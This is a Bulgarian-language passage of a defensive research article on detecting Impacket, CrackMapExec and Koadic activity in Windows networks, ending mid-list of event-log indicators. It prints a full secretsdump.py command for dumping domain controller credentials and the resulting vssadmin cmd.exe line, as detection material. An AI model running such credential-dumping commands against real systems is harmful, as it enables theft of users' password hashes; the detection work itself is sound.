Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅

Π‘ всяка Π³ΠΎΠ΄ΠΈΠ½Π° растС броят Π½Π° Π°Ρ‚Π°ΠΊΠΈΡ‚Π΅ Π² корпоративния сСктор: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€Π΅Π· 2017 Π³ΠΎΠ΄ΠΈΠ½Π° бяха рСгистрирани с 13% ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΡƒΠ½ΠΈΠΊΠ°Π»Π½ΠΈ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ Π² сравнСниС с 2016 Π³., Π° Π·Π° 2018 Π³. β€” Π½Π° 27% ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ, ΠΎΡ‚ΠΊΠΎΠ»ΠΊΠΎΡ‚ΠΎ Π² прСдходния ΠΏΠ΅Ρ€ΠΈΠΎΠ΄. Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΈ Ρ‚Π°ΠΊΠΈΠ²Π°, ΠΏΡ€ΠΈ ΠΊΠΎΠΈΡ‚ΠΎ основното Ρ€Π°Π±ΠΎΡ‚Π½ΠΎ срСдство Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Windows. ΠŸΡ€Π΅Π· 2017β€”2018 Π³ΠΎΠ΄ΠΈΠ½ΠΈ Π³Ρ€ΡƒΠΏΠΈ APT Dragonfly, APT28, APT MuddyWater ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Ρ…Π° Π°Ρ‚Π°ΠΊΠΈ срСщу правитСлствСни ΠΈ Π²ΠΎΠ΅Π½Π½ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π•Π²Ρ€ΠΎΠΏΠ°, Π‘Π΅Π²Π΅Ρ€Π½Π° АмСрика ΠΈ Баудитска Арабия. И Π·Π° Ρ†Π΅Π»Ρ‚Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° Ρ‚Ρ€ΠΈ инструмСнта β€” Impacket, CrackMapExec ΠΈ Koadic. ВСхният ΠΈΠ·Ρ…ΠΎΠ΄Π΅Π½ ΠΊΠΎΠ΄ Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏΠ΅Π½ Π² GitHub.

Π‘Ρ‚Ρ€ΡƒΠ²Π° си Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ Ρ‚Π΅Π·ΠΈ инструмСнти Π½Π΅ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° ΠΏΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½ΠΎ ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅, Π° Π·Π° Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° Π²ΡŠΡ‚Ρ€Π΅ Π² инфраструктурата. НападатСлитС Π³ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ ΠΎΡ‚ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, слСдващи слСд прСодоляванСто Π½Π° ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚ΡŠΡ€Π°. Π’ΠΎΠ²Π°, ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Ρ€ΡƒΠ³ΠΎΡ‚ΠΎ, Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ сС ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π° ΠΈ чСсто само с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° слСди ΠΎΡ‚ компромСтация Π² мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΈΠ»ΠΈ инструмСнти, позволяващи Π΄Π° сС открият Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈ дСйствия Π½Π° нападатСля слСд ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅Ρ‚ΠΎ ΠΌΡƒ Π² инфраструктурата. Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ осигуряват мноТСство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ β€” ΠΎΡ‚ ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π΄ΠΎ взаимодСйствиС с Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π° машина. ΠŸΡ€ΠΎΠ²Π΅Π΄ΠΎΡ…ΠΌΠ΅ ΠΏΡ€ΠΎΡƒΡ‡Π²Π°Π½Π΅ Π½Π° Ρ‚Π΅Π·ΠΈ инструмСнти, Π·Π° Π΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ тяхната ΠΌΡ€Π΅ΠΆΠΎΠ²Π° активност.

Какво Ρ‚Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ:

  • Π”Π° Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚ΠΈ хакСрският инструмСнтарий. Π”Π° Π½Π°ΡƒΡ‡ΠΈΠΌ ΠΊΠ°ΠΊΠ²ΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅, Π·Π° Π΄Π° Сксплоатират ΠΈ ΠΊΠ°ΠΊΠ²ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚.
  • Π”Π° Π½Π°ΠΌΠ΅Ρ€ΠΈΠΌ Π½Π΅Ρ‰Π°, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π΅ сС ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Ρ‚ ΠΎΡ‚ срСдствата Π·Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π° сигурност Π½Π° Ρ€Π°Π½Π½ΠΈΡ‚Π΅ Π΅Ρ‚Π°ΠΏΠΈ ΠΎΡ‚ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°. Π•Ρ‚Π°ΠΏΡŠΡ‚ Π½Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС пропуснат, ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΎΡ‚ΠΎ атакуващият Π΅ Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ΅Π½ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ, ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΎΡ‚ΠΎ атакуващият сС възползва ΠΎΡ‚ уязвимост Π² инфраструктурата, Π·Π° която ΠΏΡ€Π΅Π΄ΠΈ Π½Π΅ Π΅ ΠΈΠΌΠ°Π»ΠΎ информация. Появява сС Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π΄Π° сС Π²ΡŠΠ·ΡΡ‚Π°Π½ΠΎΠ²ΠΈ цялата Π²Π΅Ρ€ΠΈΠ³Π° ΠΎΡ‚ Π½Π΅Π³ΠΎΠ²ΠΈΡ‚Π΅ дСйствия, ΠΎΡ‚ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ ΠΈΠ΄Π²Π° ΠΆΠ΅Π»Π°Π½ΠΈΠ΅Ρ‚ΠΎ Π΄Π° сС открият ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΡˆΠ½ΠΈ двиТСния.
  • Π”Π° сС ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€Π°Ρ‚ Ρ„Π°Π»ΡˆΠΈΠ²ΠΈΡ‚Π΅ сработвания Π½Π° срСдствата Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° прониквания. НС забравяйтС, Ρ‡Π΅ ΠΏΡ€ΠΈ Ρ€Π°Π·ΠΊΡ€ΠΈΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ дСйствия само Π½Π° Π±Π°Π·Π°Ρ‚Π° Π½Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π²ΡŠΠ·Π½ΠΈΠΊΠ½Π°Ρ‚ чСсти Π³Ρ€Π΅ΡˆΠΊΠΈ. ОбикновСно Π² инфраструктурата ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π° Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎ количСство Π½Π°Ρ‡ΠΈΠ½ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π° ΠΏΡ€ΡŠΠ² ΠΏΠΎΠ³Π»Π΅Π΄ Π½Π΅ сС Ρ€Π°Π·Π»ΠΈΡ‡Π°Π²Π°Ρ‚ ΠΎΡ‚ Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½ΠΈΡ‚Π΅, Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° информация.

Какви ΠΏΠΎΠ»Π·ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚ Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ ΠΎΡ‚ Ρ‚Π΅Π·ΠΈ инструмСнти? Ако става Π²ΡŠΠΏΡ€ΠΎΡ Π·Π° Impacket, Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Ρ†ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚ голяма Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ ΠΎΡ‚ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° слСд ΠΏΡ€ΠΎΠ±ΠΈΠ² Π² ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚ΡŠΡ€Π°. Много инструмСнти ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Impacket Π² сСбС си β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Metasploit. Π’ Π½Π΅Π³ΠΎ ΠΈΠΌΠ° dcomexec ΠΈ wmiexec Π·Π° дистанционно изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, secretsdump Π·Π° ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° Π°ΠΊΠ°ΡƒΠ½Ρ‚ΠΈ ΠΎΡ‚ ΠΏΠ°ΠΌΠ΅Ρ‚Ρ‚Π°, ΠΊΠΎΠΈΡ‚ΠΎ са Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈ ΠΎΡ‚ Impacket. Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка, ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎΡ‚ΠΎ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈΠ΅ Π½Π° активността Π½Π° Ρ‚Π°ΠΊΠ°Π²Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ρ‰Π΅ осигури ΠΈ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈΠ΅ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΠΈΡ‚Π΅.

Π—Π° CrackMapExec (ΠΈΠ»ΠΈ просто CME) ΡΡŠΠ·Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ нСслучайно написаха Β«Powered by ImpacketΒ». ОсвСн Ρ‚ΠΎΠ²Π°, CME Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π° с Π³ΠΎΡ‚ΠΎΠ²Π° функционалност Π·Π° популярни сцСнарии: Ρ‚ΠΎΠ²Π° Π΅ ΠΈ Mimikatz Π·Π° ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…Π½ΠΈΡ‚Π΅ Ρ…Π΅ΡˆΠΎΠ²Π΅, ΠΈ внСдряванС Π½Π° Meterpreter ΠΈΠ»ΠΈ Empire agent Π·Π° дистанционно изпълнСниС, ΠΈ Bloodhound Π½Π° Π±ΠΎΡ€Π΄Π°.

ВрСтият ΠΈΠ·Π±Ρ€Π°Π½ ΠΎΡ‚ нас инструмСнт β€” Koadic. Π’ΠΎΠΉ Π΅ относитСлно Π½ΠΎΠ², прСдставСн Π½Π° ΠΌΠ΅ΠΆΠ΄ΡƒΠ½Π°Ρ€ΠΎΠ΄Π½Π°Ρ‚Π° хакСрска конфСрСнция DEFCON 25 ΠΏΡ€Π΅Π· 2017 Π³ΠΎΠ΄ΠΈΠ½Π° ΠΈ сС ΠΎΡ‚Π»ΠΈΡ‡Π°Π²Π° с нСстандартСн ΠΏΠΎΠ΄Ρ…ΠΎΠ΄: Ρ€Π°Π±ΠΎΡ‚Π° Ρ‡Ρ€Π΅Π· HTTP, Java Script ΠΈ Microsoft Visual Basic Script (VBS). Π’ΠΎΠ·ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ сС Π½Π°Ρ€ΠΈΡ‡Π° living off the land: ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ зависимости ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€Π°Π½ΠΈ Π² Windows. Π‘ΡŠΠ·Π΄Π°Π²Π°Ρ‡ΠΈΡ‚Π΅ Π³ΠΎ Π½Π°Ρ€ΠΈΡ‡Π°Ρ‚ COM Command & Control, ΠΈΠ»ΠΈ C3.

IMPACKET

Ѐункционалността Π½Π° Impacket Π΅ доста ΠΎΠ±ΡˆΠΈΡ€Π½Π°, Π·Π°ΠΏΠΎΡ‡Π²Π°ΠΉΠΊΠΈ ΠΎΡ‚ Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ Π²ΡŠΡ‚Ρ€Π΅ Π² AD ΠΈ ΡΡŠΠ±ΠΈΡ€Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½ΠΈ MS SQL ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, Π΄ΠΎ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° удостовСритСлни Π΄Π°Π½Π½ΠΈ: Ρ‚ΠΎΠ²Π° Π΅ ΠΈ Π°Ρ‚Π°ΠΊΠ° SMB relay, ΠΈ ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π° Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π° Π½Π° Ρ„Π°ΠΉΠ»Π° ntds.dit, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ Ρ…Π΅ΡˆΠΎΠ²Π΅Ρ‚Π΅ Π½Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈΡ‚Π΅ Π½Π° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅. ОсвСн Ρ‚ΠΎΠ²Π°, Impacket дистанционно изпълнява ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Ρ‡Π΅Ρ‚ΠΈΡ€ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: Ρ‡Ρ€Π΅Π· WMI, сСрвиз Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° Windows Task Scheduler, DCOM ΠΈ SMB, ΠΈ Π·Π° Ρ‚ΠΎΠ²Π° ΠΌΡƒ трябват удостовСритСлни Π΄Π°Π½Π½ΠΈ.

Secretsdump

НСка Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ secretsdump. Π’ΠΎΠ²Π° Π΅ ΠΌΠΎΠ΄ΡƒΠ», насочСн ΠΊΠ°ΠΊΡ‚ΠΎ към потрСбитСлски машини, Ρ‚Π°ΠΊΠ° ΠΈ към ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€ΠΈ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ΠΈ. Π‘ Π½Π΅Π³ΠΎΠ²Π° ΠΏΠΎΠΌΠΎΡ‰ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ копия Π½Π° ΠΏΠ°ΠΌΠ΅Ρ‚Ρ‚Π° LSA, SAM, SECURITY, NTDS.dit, Π·Π°Ρ‚ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π²ΠΈΠ΄ΠΈ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ ΠΎΡ‚ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°. ΠŸΡŠΡ€Π²Π°Ρ‚Π° ΡΡ‚ΡŠΠΏΠΊΠ° Π² Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚Π° Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° Π΅ удостовСряванС Ρ‡Ρ€Π΅Π· SMB, Π·Π° ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° ΠΈΠ»ΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π°Ρ‚Π° Π½Π° потрСбитСля, ΠΈΠ»ΠΈ нСйният Ρ…Π΅Ρˆ, Π·Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° Pass the Hash. Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° слСдва заявка Π·Π° отварянС Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Service Control Manager (SCM) ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° Ρ‡Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° winreg, с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΊΠΎΠΉΡ‚ΠΎ атакуващият ΠΌΠΎΠΆΠ΅ Π΄Π° Π½Π°ΡƒΡ‡ΠΈ Π΄Π°Π½Π½ΠΈ Π·Π° интСрСсуващитС Π³ΠΎ ΠΊΠ»ΠΎΠ½ΠΎΠ²Π΅ ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈ Ρ‡Ρ€Π΅Π· SMB.

На рис. 1 Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΡ€ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° winreg сС ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π° Π΄ΠΎΡΡ‚ΡŠΠΏ ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Π° Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° с LSA. Π—Π° Ρ‚ΠΎΠ²Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° DCERPC с opcode 15 β€” OpenKey.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 1. ΠžΡ‚Π²Π°Ρ€ΡΠ½Π΅ Π½Π° ΠΊΠ»ΡŽΡ‡Π° Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° winreg

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π°, ΠΊΠΎΠ³Π°Ρ‚ΠΎ Π΄ΠΎΡΡ‚ΡŠΠΏΡŠΡ‚ ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Π° Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, Π½Π°ΡΡ‚ΡŠΠΏΠ²Π° Π·Π°ΠΏΠ°Π·Π²Π°Π½Π΅ Π½Π° стойноститС с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° SaveKey с opcode 20. Impacket Π³ΠΎ ΠΏΡ€Π°Π²ΠΈ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΎ спСцифичСн Π½Π°Ρ‡ΠΈΠ½. Π’ΠΎΠΉ Π·Π°ΠΏΠ°Π·Π²Π° стойноститС Π² Ρ„Π°ΠΉΠ», Ρ‡ΠΈΠ΅Ρ‚ΠΎ ΠΈΠΌΠ΅ Π΅ Π½ΠΈΠ· ΠΎΡ‚ 8 случайни символа с Π΄ΠΎΠ±Π°Π²ΠΊΠ° .tmp. ОсвСн Ρ‚ΠΎΠ²Π°, послСдващата ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° Ρ‚ΠΎΠ·ΠΈ Ρ„Π°ΠΉΠ» става Ρ‡Ρ€Π΅Π· SMB ΠΎΡ‚ дирСкторията System32 (рис. 2).

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 2. Π‘Ρ…Π΅ΠΌΠ° Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° ΠΊΠ»ΡŽΡ‡Π° Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΎΡ‚ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π° машина

Π’ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚, ΠΏΠΎΠ΄ΠΎΠ±Π½Π° активност Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° ΠΏΠΎ заявкитС към ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ ΠΊΠ»ΠΎΠ½ΠΎΠ²Π΅ Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° Ρ‡Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° winreg, спСцифични ΠΈΠΌΠ΅Π½Π°, ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΈ тСхния Ρ€Π΅Π΄.

Π‘ΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ°, Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» оставя слСди Π² ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π° Π½Π° Windows, Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΈΡ‚ΠΎ Ρ‚ΠΎΠΉ лСсно ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚. НапримСр, Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Π² ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° Windows Server 2016 Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΠΌ слСдната ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° послСдоватСлност ΠΎΡ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ:

1. 4624 β€” ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ Logon.
2. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ сСрвиз winreg.
3. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ» Π² дирСкторията System32. Π€Π°ΠΉΠ»ΡŠΡ‚ ΠΈΠΌΠ° случайно ΠΈΠΌΠ΅, спомСнато ΠΏΠΎ-Π³ΠΎΡ€Π΅.
4. 4688 β€” създаванС Π½Π° процСс cmd.exe, ΠΊΠΎΠΉΡ‚ΠΎ стартира vssadmin:

β€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

